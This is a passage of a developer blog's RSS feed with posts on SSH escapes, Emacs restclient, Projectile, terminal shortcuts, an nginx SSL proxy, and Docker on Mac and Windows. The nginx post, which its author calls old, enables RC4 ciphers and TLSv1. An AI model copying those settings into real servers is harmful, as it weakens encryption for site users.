&lt;li>&lt;code>Enter&lt;/code>&lt;/li>
&lt;li>&lt;code>~&lt;/code>&lt;/li>
&lt;li>&lt;code>?&lt;/code>&lt;/li>
&lt;/ul>
&lt;br/>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Supported escape sequences:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~. - terminate connection (and any multiplexed sessions)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~B - send a BREAK to the remote system
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~C - open a command line
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~R - request rekey
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~V/v - decrease/increase verbosity (LogLevel)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~^Z - suspend ssh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~# - list forwarded connections
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~&amp;amp; - background ssh (when waiting for connections to terminate)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~? - this message
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~~ - send the escape character by typing it twice
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;br/>
I'm actually do not use any of them (except `~.`). Maybe you'll find some of them useful.
&lt;p>&amp;lt;3&lt;/p></description></item><item><title>Restclient (Postman for Emacs)</title><link>https://codelearn.me/2017/10/22/restclient.html</link><pubDate>Sun, 22 Oct 2017 00:00:00 +0000</pubDate><guid>https://codelearn.me/2017/10/22/restclient.html</guid><description>&lt;p>Hi everyone.&lt;/p>
&lt;p>Here is my notes about &lt;code>restclient&lt;/code> that can help you to forget about &lt;code>Postman&lt;/code> (which is cool as well).&lt;/p>
&lt;h2 id="define-the-action">Define the action&lt;/h2>
&lt;p>Here is the example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># get all people from star wars&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET https://swapi.co/api/people
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;br/>
&lt;p>To define an action you need to start with a comment.
&lt;img src="https://codelearn.me/assets/img/hm.webp"/>&lt;/p>
&lt;p>Then you need to set method (GET, POST, PUT and other) and the url of course.&lt;/p>
&lt;p>Now you can execute the query. Press &lt;code>C-c C-c&lt;/code> (CTRL+c twice) and new buffer (&lt;code>*HTTP Response*&lt;/code>) with the result will be opened.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/restclient-output1.png">&lt;img alt="restclient output" src="https://codelearn.me/assets/img/restclient-output1.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>At the bottom of that buffer you can see response headers:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>// GET https://swapi.co/api/people
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// HTTP/1.1 &lt;span style="color:#ae81ff">200&lt;/span> OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Date: Sun, &lt;span style="color:#ae81ff">22&lt;/span> Oct &lt;span style="color:#ae81ff">2017&lt;/span> 19:03:17 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Content-Type: application/json
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Transfer-Encoding: chunked
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Connection: keep-alive
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Allow: GET, HEAD, OPTIONS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Vary: Accept, Cookie
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// X-Frame-Options: SAMEORIGIN
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Etag: &lt;span style="color:#e6db74">&amp;#34;d080408a4d656729b0f52a6feb0783ca&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Via: 1.1 vegur
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Server: cloudflare-nginx
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// CF-RAY: 3b1eb73cda7d63af-FRA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>// Request duration: 1.663359s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>Pretty simple, ha?&lt;/p>
&lt;h2 id="set-headers">Set headers&lt;/h2>
&lt;p>To define headers you need to write them just below the URL definition:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># get all people from star wars&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET https://swapi.co/api/people
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent: Emacs Restclient
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: application/json
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
By pressing `C-c C-c` the headers will be attached to the request.
&lt;h2 id="post-payload">Post payload&lt;/h2>
&lt;p>If you want to send data to the server you can define it right after empty line of the URL (or headers if exist) definition.&lt;/p>
&lt;p>Here is an example from &lt;code>restclient.el&lt;/code> repo.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Post works too, entity just goes after an empty line. Same is for PUT.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>POST https://jira.atlassian.com/rest/api/2/search
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: application/json
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;jql&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;project = HSP&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;startAt&amp;#34;&lt;/span>: 0,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;maxResults&amp;#34;&lt;/span>: 15,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fields&amp;#34;&lt;/span>: &lt;span style="color:#f92672">[&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;summary&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;status&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;assignee&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;h2 id="what-if-i-want-to-post-a-file">What if I want to post a file?&lt;/h2>
&lt;p>It&amp;rsquo;s also possible and it&amp;rsquo;s pretty easy&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># post a file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>POST http://httpbin.org/post
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/plain
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt; /etc/hosts
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;h2 id="you-can-even-define-variables">You can even define variables&lt;/h2>
&lt;p>Variables are useful to define the host or test user credentials.&lt;/p>
&lt;p>Here how you can define it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>:myvar &lt;span style="color:#f92672">=&lt;/span> https://google.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>You can also use elisp to set a value&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>:myvar :&lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">(&lt;/span>some &lt;span style="color:#f92672">(&lt;/span>artbitrary &lt;span style="color:#960050;background-color:#1e0010">&amp;#39;&lt;/span>elisp&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>use &lt;code>:variable-name&lt;/code> syntax to get the value of variable:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># use a variable&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET :myvar/imghp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>&lt;a target="_blank" href="https://github.com/pashky/restclient.el">Restclient.el&lt;/a> is a great package you definitely should try.
It allows you quickly explore or test the API without leaving the Emacs.&lt;/p>
&lt;img src="https://codelearn.me/assets/img/thumb-up.gif"/>
&lt;p>Try it &amp;lt;3&lt;/p></description></item><item><title>Emacs Projectile find and replace</title><link>https://codelearn.me/2017/10/20/projectile-search-replace.html</link><pubDate>Fri, 20 Oct 2017 00:00:00 +0000</pubDate><guid>https://codelearn.me/2017/10/20/projectile-search-replace.html</guid><description>&lt;p>Projectile is great Emacs package you definitely have to install if you didn&amp;rsquo;t.&lt;/p>
&lt;p>Along with projects management and quick switching among of them it allows you to limit grep/ack, find files and replacing commands.
Here I want to note how to quickly search and replace strings in your project.&lt;/p>
&lt;h2 id="search-grepackag">Search (grep/ack/ag)&lt;/h2>
&lt;p>If you know basics of &lt;code>grep&lt;/code> you shouldn&amp;rsquo;t get any issues with it. Just call &lt;code>projectile-grep&lt;/code> interactive function
and type the query.&lt;/p>
&lt;p>Here is how it works on this blog with &lt;code>title:&lt;/code> query:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/projectile-grep.png">&lt;img alt="projectile grep output" src="https://codelearn.me/assets/img/projectile-grep.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>As you can see there is new buffer created called &lt;code>*grep*&lt;/code>. At the bottom it says that search is finished (&lt;code>:exit&lt;/code>) and have matches (&lt;code>[matched]&lt;/code>).
Filenames are links, so you can click on them and file will be opened in new buffer on the matched line.&lt;/p>
&lt;h2 id="replace">Replace&lt;/h2>
&lt;p>Projectile is also really great in replacing with its &lt;code>projectile-replace&lt;/code> and &lt;code>projectile-replace-regexp&lt;/code>.
When you call one of those functions you will be asked for an input to search for.
Let&amp;rsquo;s search the blog for &lt;code>Replace&lt;/code>.
When you typed the query, you need to input the string you want to replace on. Let&amp;rsquo;s replace our &lt;code>Replace&lt;/code> with &lt;code>Find&lt;/code>.&lt;/p>
&lt;p>When both params are entered the buffer with first match will be opened.&lt;/p>
&lt;p>You can see the info in the mini-buffer:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/projectile-replace-mini-buffer.png">&lt;img alt="projectile grep output" src="https://codelearn.me/assets/img/projectile-replace-mini-buffer.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>Now you can press some keys to perform actions.
Press &lt;code>?&lt;/code> for help.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/projectile-replace-help.png">&lt;img alt="projectile grep output" src="https://codelearn.me/assets/img/projectile-replace-help.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>As you can see if you click &lt;code>y&lt;/code> button then the replace action will be performed. If you see something wrong is going to be replaced just press &lt;code>n&lt;/code> button to skip the
currently highlighted match and Emacs will switch to the next match.&lt;/p>
&lt;p>Searching and replacing should be used as often as possible with minimum of manual work. It will save you from mistakes and improve your productivity a lot.&lt;/p>
&lt;p>Good luck &amp;lt;3&lt;/p></description></item><item><title>Terminal tips and tricks</title><link>https://codelearn.me/2017/05/23/terminal-tips-and-tricks.html</link><pubDate>Tue, 23 May 2017 00:00:00 +0000</pubDate><guid>https://codelearn.me/2017/05/23/terminal-tips-and-tricks.html</guid><description>&lt;p>Hey.&lt;/p>
&lt;p>Below I&amp;rsquo;ve listed couple of ways to use terminal that some people may not know about.
These &amp;ldquo;technics&amp;rdquo; I use a lot in may daily hacking.&lt;br/>
So let&amp;rsquo;s start.&lt;/p>
&lt;h2>CTRL+R&lt;/h2>
I'm sure you already know that you can travel through command history using ⇧ and ⇩ keys.
But sometimes the command you're looking for is far behind in history so you should do something like this
```
⇧⇧⇧⇧⇧ damn, I missed it ⇩⇩ here is &lt;enter>
```
which is quite annoying.
&lt;p>&lt;strong>CTRL+R&lt;/strong> allows you to search through command history. &lt;br/>
Here is the demo:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/ctrl_r.gif">&lt;img alt="ctrl+r gif" src="https://codelearn.me/assets/img/ctrl_r.gif" width="600px"/>&lt;/a>&lt;/p>
&lt;p>You can go deeper in history with the same keystroke (CTRL+R). To go forward in history press &lt;strong>CTRL+S&lt;/strong>&lt;/p>
&lt;p>This keystroke I just can&amp;rsquo;t live without and use it all the time.
&lt;br/>
&lt;br/>&lt;/p>
&lt;h2>Movements/Editing&lt;/h2>
Of course I do not use **CTRL+R** just to find previously entered command
since it can be easily found with ⇧ key. But, I really do not like to move my hands outside of my keyboard's
homerow. Usually all terminals supports emacs keybinding &lt;br/>
So meet:
&lt;br/>
&lt;a target="_blank" href="https://codelearn.me/assets/img/arrows.png">&lt;img alt="emacs arrows" src="https://codelearn.me/assets/img/arrows.png" width="300px"/>&lt;/a>
&lt;br/>
&lt;ul>
&lt;li>If you&amp;rsquo;ll replace &lt;strong>CTRL&lt;/strong> with &lt;strong>ALT&lt;/strong> for arrow left/right keys you will be able to follow back and forth word by word.
&lt;br/>
&lt;br/>
&lt;br/>&lt;/li>
&lt;/ul>
&lt;p>Here is more tips:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>You can also use &lt;strong>ALT&lt;/strong> key with &lt;strong>BACKSPACE&lt;/strong> which will delete WORD instead of SYMBOL.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>You can remove symbol under cursor with &lt;strong>CTRL+D&lt;/strong>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Using &lt;strong>CTRL+A&lt;/strong> will move your cursor to the beginning of the command line&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>CTRL+K&lt;/strong> will remove everything from cursor to the end of command line&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>So, using &lt;strong>CTRL+A&lt;/strong> + &lt;strong>CTRL+K&lt;/strong> removes everything you already entered, which is much faster than long
press on backspace.
&lt;br/>
&lt;br/>&lt;/p>
&lt;h2>CTRL+L&lt;/h2>
&lt;p>Just a &lt;strong>clear&lt;/strong> command, which clears your terminal window. I like when my typing happens
at the top of terminal window 😜 so it is very useful for me.
I hope it can be something good for you as well.&lt;/p></description></item><item><title>one Nginx, multiple sites, one SSL certificate</title><link>https://codelearn.me/2016/11/06/nginx-plus-ssl-on-one-server.html</link><pubDate>Sun, 06 Nov 2016 00:00:00 +0000</pubDate><guid>https://codelearn.me/2016/11/06/nginx-plus-ssl-on-one-server.html</guid><description>&lt;p>Hey. Imagine you have 2-3 sites where you have to setup HTTPS but you are limited to use only one SSL certificate for this.&lt;/p>
&lt;p>Today we&amp;rsquo;ll find out how to do this.&lt;/p>
&lt;p>I&amp;rsquo;m not going to describe how to get SSL certificate, just notice that our proxy-nginx will be configured on special domain and you have to get certificate exactly for this domain.&lt;/p>
&lt;h1 id="nginx-configuration">Nginx configuration.&lt;/h1>
&lt;p>Add &lt;code>server&lt;/code> block inside &lt;code>http&lt;/code> block of your &lt;code>nginx.conf&lt;/code> (or in one of included files).&lt;/p>
&lt;pre tabindex="0">&lt;code>server {
 listen 80;
 server_name the-proxy.domain;
 return 301 https://$server_name$request_uri;
}
&lt;/code>&lt;/pre>&lt;p>This block just going to redirect all your HTTP connections 	 to the HTTPS on the same domain.&lt;/p>
&lt;p>The next &lt;code>server&lt;/code> block is actually our SSL configuration.&lt;/p>
&lt;pre tabindex="0">&lt;code>server {
 listen 443 ssl;
 server_name the-proxy.domain;
 ssl_certificate /etc/ssl/nginx/nginx.crt;
 ssl_certificate_key /etc/ssl/nginx/server.key;
 ssl_session_cache shared:SSL:10m;
 ssl_session_timeout 5m;
 ssl_ciphers &amp;#34;EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !EXPORT !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS&amp;#34;;
 ssl_prefer_server_ciphers on;
 ssl_password_file /etc/keys/cert_pass;
 ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

 location / {
 proxy_redirect off;
 proxy_set_header Host $host;
 proxy_set_header X-Real-IP $remote_addr;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_set_header X-Forwarded-Proto https;

 proxy_pass http://127.0.0.1:8082;
 }
&lt;/code>&lt;/pre>&lt;p>Make sure paths to SSL keys are correct.
One more important thing is &lt;code>proxy_pass&lt;/code> statement. I will describe it soon.&lt;/p>
&lt;p>Ok. So now all connections to our domain (the-proxy.domain) are redirected to the HTTPS version and then are proxied to http://127.0.0.1:8082.&lt;/p>
&lt;p>&lt;strong>What do we have on 127.0.0.1:8082?&lt;/strong>&lt;/p>
&lt;p>On this port we have our application running.
We may have other application running on other ports and we can describe them in our &lt;code>server&lt;/code> blocks.
So, make sure your application is actually running on this port and nginx will proxy all the traffic.&lt;/p>
&lt;p>Unfortunately you app is also available by 8082 port which is not great. You can close it with firewall and allow connections from the same server where app is running (and where our proxy-nginx is installed).&lt;/p>
&lt;p>That&amp;rsquo;s it. You can add as more &lt;code>server&lt;/code> blocks as you want and proxy traffic to other servers/ports you wish.&lt;/p>
&lt;p>P.S.
This one is pretty old article. Consider to use &lt;a target="_blank" href="https://letsencrypt.org/">Let&amp;rsquo;s Encrypt&lt;/a> instead.&lt;/p>
&lt;p>&lt;strong>&amp;lt;3&lt;/strong>&lt;/p></description></item><item><title>Docker parts and how it works on Windows and OSX</title><link>https://codelearn.me/2016/07/02/how-docker-works-on-windows-and-osx.html</link><pubDate>Sat, 02 Jul 2016 00:00:00 +0000</pubDate><guid>https://codelearn.me/2016/07/02/how-docker-works-on-windows-and-osx.html</guid><description>&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/dockerlogo.png">&lt;img alt="fun first" src="https://codelearn.me/assets/img/dockerlogo.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>Hi, today I want to tell you about parts of Docker (yes, Docker it is not standalone application). In this article I&amp;rsquo;m not going describe internals of docker, its filesystem, what is container, image and how to use it. Instead you’ll learn what is docker daemon and docker client and how docker and docker-beta (at the moment of this article it still beta) works on Windows and OSX.&lt;/p>
&lt;p>This article is pretty simple with minimum technical terms.&lt;/p>
&lt;h1 id="what-is-docker">What is docker&lt;/h1>
&lt;p>Docker is containerisation tools (tool&lt;strong>s&lt;/strong> - not a standalone app) that use LXC (Linux containers). LXC is also set of tools that use some Linux kernel&amp;rsquo;s features and that features are available only in Linux kernel.
It means that docker can be used natively ONLY on Linux, period.&lt;/p>
&lt;h1 id="i-saw-people-use-it-on-their-windowsosx-machines">I saw people use it on their Windows/OSX machines&lt;/h1>
&lt;p>Yeah, I’m sure you saw it.&lt;/p>
&lt;p>Let me tell you about the parts that Docker consists of.&lt;/p>
&lt;p>The first and probably main part of Docker is &lt;strong>Docker Daemon&lt;/strong>.
This guy is heart of Docker term. He do every job that you know Docker can do
and this guy &lt;strong>is only available on Linux&lt;/strong>.&lt;/p>
&lt;p>But when you type &lt;strong>docker&lt;/strong> in your terminal you actually do not use docker daemon directly,
you invoke &lt;strong>Docker Client&lt;/strong> and ask him to pipe commands you typed to the
&lt;strong>Docker Daemon&lt;/strong> and Docker Client &lt;strong>is cross-platform tool&lt;/strong>.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/docker-client-and-daemin.png">&lt;img alt="fun first" src="https://codelearn.me/assets/img/docker-client-and-daemon.png" width="550px"/>&lt;/a>&lt;/p>
&lt;p>So, strictly speaking, you saw how people use Docker Client on their Windows/OSX machines.
They have/had virtual machine installed with Linux inside
where Docker Daemon was running.
Probably they used &lt;strong>docker-machine&lt;/strong> which is just interface to the virtual box
or other similar virtualisation tools.&lt;/p>
&lt;p>It means also that your containers were not running on your host machine
but on virtual machine which is not cool actually and brings some
issues with networking and filesystem sharing.&lt;/p>
&lt;p>Docker Daemon can be running on separated machine and Docker Client
can connect to it by socket.&lt;/p>
&lt;p>So this is how docker works on Windows and OSX.&lt;/p>
&lt;h1 id="docker-beta">Docker Beta&lt;/h1>
&lt;p>Couple of months ago Docker team did something cool and their realised
&lt;strong>Docker for Windows and OSX&lt;/strong>.
For you, as for Docker user, it means that you can run docker containers
natively on your host and access them via localhost with no issues with filesystem sharing.&lt;/p>
&lt;p>But, it is not really truth.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/you-lied.jpg">&lt;img alt="fun first" src="https://codelearn.me/assets/img/you-lied.jpg"/>&lt;/a>&lt;/p>
&lt;p>&lt;strong>Docker Beta&lt;/strong> is still using virtual machines.
On Windows it uses Hyper-V and on OSX it uses xhyve.
Both are native for their platforms and were developed for one platform with platform-specific features.
When you run Docker.exe or Docker.app the virtual machine will be started and you can forget about it at all,
you no need to set socket address in your docker client or do something else.
You can just run the app and start to use Docker.
Internally it uses Linux with Docker Daemon installed but you will not see it at all.
That’s awesome and for Docker users it looks like it works natively.
Every port of your application (that is exposed of course)
can be accessed on localhost, you can share any part of your filesystem
with no issues.&lt;/p>
&lt;p>Probably Docker will never be available on Windows and OSX natively because Docker is using Linux kernel features and these feature are not available on other platforms. But it doesn’t mean you can’t use Docker on Windows or OSX for your development needs.&lt;/p>
&lt;p>I didn’t describe a lot of internals of docker in this article, maybe I will do it in next one, but I really hope it brought some light to the how Docker and Docker Beta works on your machine.&lt;/p>
&lt;p>Have a good day and always know how your tools are working.&lt;/p></description></item><item><title>Setup TeamCity on Mac to work with Docker</title><link>https://codelearn.me/2016/06/20/docker-machine-docker-and-teamcity.html</link><pubDate>Mon, 20 Jun 2016 00:00:00 +0000</pubDate><guid>https://codelearn.me/2016/06/20/docker-machine-docker-and-teamcity.html</guid><description>&lt;p>For one of our project we decided to use TeamCity on our Mac Mini (which is under table in the same room where we are).&lt;/p>
&lt;p>It was interesting experience with some pitfalls and I would like to share how we did it.
Want to mention that installation of TeamCity is not subject of this article and I’m sure you can find a lot of posts about it in the internet.&lt;/p>
&lt;p>One more important thing. TeamCity on our MacMini was installed to &lt;strong>/Library/TeamCity&lt;/strong> folder.
Docker machine shares only home directory (/Users) but some of our docker containers requires &lt;strong>/Library/TeamCity/hash/our project name/src&lt;/strong> directory to be shared.&lt;/p>
&lt;h1>How does our project directory structure look&lt;/h1>
&lt;br/>
&lt;p>Project structure&lt;/p>
&lt;pre tabindex="0">&lt;code>├── docker
│ ├── application
├── scripts
└── src
 ├── app
 ├── bootstrap
 ├── config
 ├── database
 ├── public
 ├── resources
 ├── storage
 ├── tests
 └── vendor
&lt;/code>&lt;/pre>&lt;br/>
Our `docker-compose.yml` looks similarly to this:
&lt;pre tabindex="0">&lt;code>application:
 build: ./application
 volumes:
 - ../src:/var/www/application
&lt;/code>&lt;/pre>&lt;br/>
&lt;p>So, because our TeamCity loads the project inside &lt;strong>/Library/TeamCity&lt;/strong> folder which is not shared between host and docker-machine we have the issue. From docker container&amp;rsquo;s standpoint the folder looks empty.&lt;/p>
&lt;h1>What to do.&lt;/h1>
&lt;br/>
&lt;ul>
&lt;li>Open VirtualBox Manager.&lt;/li>
&lt;li>Choose your docker-machine (default - in my case)&lt;/li>
&lt;li>Press Settings.&lt;/li>
&lt;li>Go to Shared Folders tab and press Add new shared folder (folder with + icon at the right hand side)&lt;/li>
&lt;/ul>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/vbox_manager_gui.png">&lt;img alt="vbox manager gui" src="https://codelearn.me/assets/img/vbox_manager_gui.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>Add &lt;strong>Library&lt;/strong> folder to the folders list.&lt;/p>
&lt;p>That’s not enough. All these steps are only shares the folder to the VM but it is not mounted yet.&lt;/p>
&lt;p>Login inside docker-machine via ssh (&lt;strong>docker-machine ssh&lt;/strong>) and mount /Library folder like that:&lt;/p>
&lt;pre tabindex="0">&lt;code>mkdir /Library &amp;amp;&amp;amp; mount -t vboxsf Library /Library
&lt;/code>&lt;/pre>&lt;br/>
And…. DONE!
Congratulations! Oh yeah, after docker-machine restart everything will gone…
&lt;a target="_blank" href="https://codelearn.me/assets/img/thanks_satan.gif">&lt;img alt="thanks satan" src="https://codelearn.me/assets/img/thanks_satan.gif" width="600px"/>&lt;/a>
&lt;p>Since docker-machine is heir of boot2docker we can use special boot2docker feature that allow us to run the script right after machine is started.&lt;/p>
&lt;ul>
&lt;li>Login inside of docker-machine (docker-machine ssh)&lt;/li>
&lt;li>go to - /var/lib/boot2docker/&lt;/li>
&lt;li>create bootlocal.sh file&lt;/li>
&lt;li>open it and enter the next few lines&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/sh
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir /Library
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mount -t vboxsf Library /Library
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
